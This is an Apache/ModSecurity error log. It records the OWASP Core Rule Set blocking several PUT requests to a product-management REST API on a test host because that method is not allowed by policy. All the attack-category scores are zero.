[Wed Nov 16 14:46:37.570903 2022] [:error] [pid 3059382] [client 79.50.106.79:53932] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3TpvQSMrgzGvRfFdemJjQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:46:37.573049 2022] [:error] [pid 3059382] [client 79.50.106.79:53932] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3TpvQSMrgzGvRfFdemJjQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:46:37.573247 2022] [:error] [pid 3059382] [client 79.50.106.79:53932] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3TpvQSMrgzGvRfFdemJjQAAAAM&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:48:11.423107 2022] [:error] [pid 3064141] [client 79.50.106.79:53991] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3TqG8s62Xc3wODMm1esBAAAAAc&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=632349141fbeef5e72aae4df
[Wed Nov 16 14:48:11.424576 2022] [:error] [pid 3064141] [client 79.50.106.79:53991] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3TqG8s62Xc3wODMm1esBAAAAAc&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=632349141fbeef5e72aae4df
[Wed Nov 16 14:48:11.424735 2022] [:error] [pid 3064141] [client 79.50.106.79:53991] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3TqG8s62Xc3wODMm1esBAAAAAc&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=632349141fbeef5e72aae4df
[Wed Nov 16 14:48:11.460576 2022] [:error] [pid 3059382] [client 79.50.106.79:53996] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/632349141fbeef5e72aae4df&quot;] [unique_id &quot;Y3TqGwSMrgzGvRfFdemJkwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=632349141fbeef5e72aae4df
[Wed Nov 16 14:48:11.462164 2022] [:error] [pid 3059382] [client 79.50.106.79:53996] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/632349141fbeef5e72aae4df&quot;] [unique_id &quot;Y3TqGwSMrgzGvRfFdemJkwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=632349141fbeef5e72aae4df
[Wed Nov 16 14:48:11.462340 2022] [:error] [pid 3059382] [client 79.50.106.79:53996] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/632349141fbeef5e72aae4df&quot;] [unique_id &quot;Y3TqGwSMrgzGvRfFdemJkwAAAAM&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=632349141fbeef5e72aae4df
[Wed Nov 16 14:54:47.615322 2022] [:error] [pid 3064827] [client 79.50.106.79:54342] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3Trp1O83@qk7GahsDm-VAAAAAg&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:54:47.617276 2022] [:error] [pid 3064827] [client 79.50.106.79:54342] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3Trp1O83@qk7GahsDm-VAAAAAg&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:54:47.617499 2022] [:error] [pid 3064827] [client 79.50.106.79:54342] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3Trp1O83@qk7GahsDm-VAAAAAg&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:54:47.623094 2022] [:error] [pid 3063132] [client 79.50.106.79:54343] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3Trp83Il@SUkKT3nm0tnQAAAAY&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:54:47.624573 2022] [:error] [pid 3063132] [client 79.50.106.79:54343] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3Trp83Il@SUkKT3nm0tnQAAAAY&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:54:47.624754 2022] [:error] [pid 3063132] [client 79.50.106.79:54343] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3Trp83Il@SUkKT3nm0tnQAAAAY&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:58:55.967629 2022] [:error] [pid 3064141] [client 79.50.106.79:54701] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3Tsn8s62Xc3wODMm1esCwAAAAc&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6374ec7d7393c119b21d4c5d
[Wed Nov 16 14:58:55.969046 2022] [:error] [pid 3064141] [client 79.50.106.79:54701] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3Tsn8s62Xc3wODMm1esCwAAAAc&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6374ec7d7393c119b21d4c5d
[Wed Nov 16 14:58:55.969277 2022] [:error] [pid 3064141] [client 79.50.106.79:54701] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3Tsn8s62Xc3wODMm1esCwAAAAc&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6374ec7d7393c119b21d4c5d
[Wed Nov 16 14:58:55.978018 2022] [:error] [pid 3065230] [client 79.50.106.79:54704] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6374ec7d7393c119b21d4c5d&quot;] [unique_id &quot;Y3Tsn-9kR9ucGwRNx56VvQAAAAE&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6374ec7d7393c119b21d4c5d
[Wed Nov 16 14:58:55.978970 2022] [:error] [pid 3065230] [client 79.50.106.79:54704] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6374ec7d7393c119b21d4c5d&quot;] [unique_id &quot;Y3Tsn-9kR9ucGwRNx56VvQAAAAE&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6374ec7d7393c119b21d4c5d
[Wed Nov 16 14:58:55.979137 2022] [:error] [pid 3065230] [client 79.50.106.79:54704] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6374ec7d7393c119b21d4c5d&quot;] [unique_id &quot;Y3Tsn-9kR9ucGwRNx56VvQAAAAE&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6374ec7d7393c119b21d4c5d
[Wed Nov 16 15:06:19.205703 2022] [:error] [pid 3065418] [client 79.50.106.79:55412] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3TuW5C0OPqnUi98lF8v4wAAAAo&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 15:06:19.207325 2022] [:error] [pid 3065418] [client 79.50.106.79:55412] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3TuW5C0OPqnUi98lF8v4wAAAAo&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 15:06:19.207508 2022] [:error] [pid 3065418] [client 79.50.106.79:55412] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3TuW5C0OPqnUi98lF8v4wAAAAo&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 15:06:19.210109 2022] [:error] [pid 3065230] [client 79.50.106.79:55411] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3TuW-9kR9ucGwRNx56VwgAAAAE&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 15:06:19.211704 2022] [:error] [pid 3065230] [client 79.50.106.79:55411] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3TuW-9kR9ucGwRNx56VwgAAAAE&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 15:06:19.211882 2022] [:error] [pid 3065230] [client 79.50.106.79:55411] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3TuW-9kR9ucGwRNx56VwgAAAAE&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
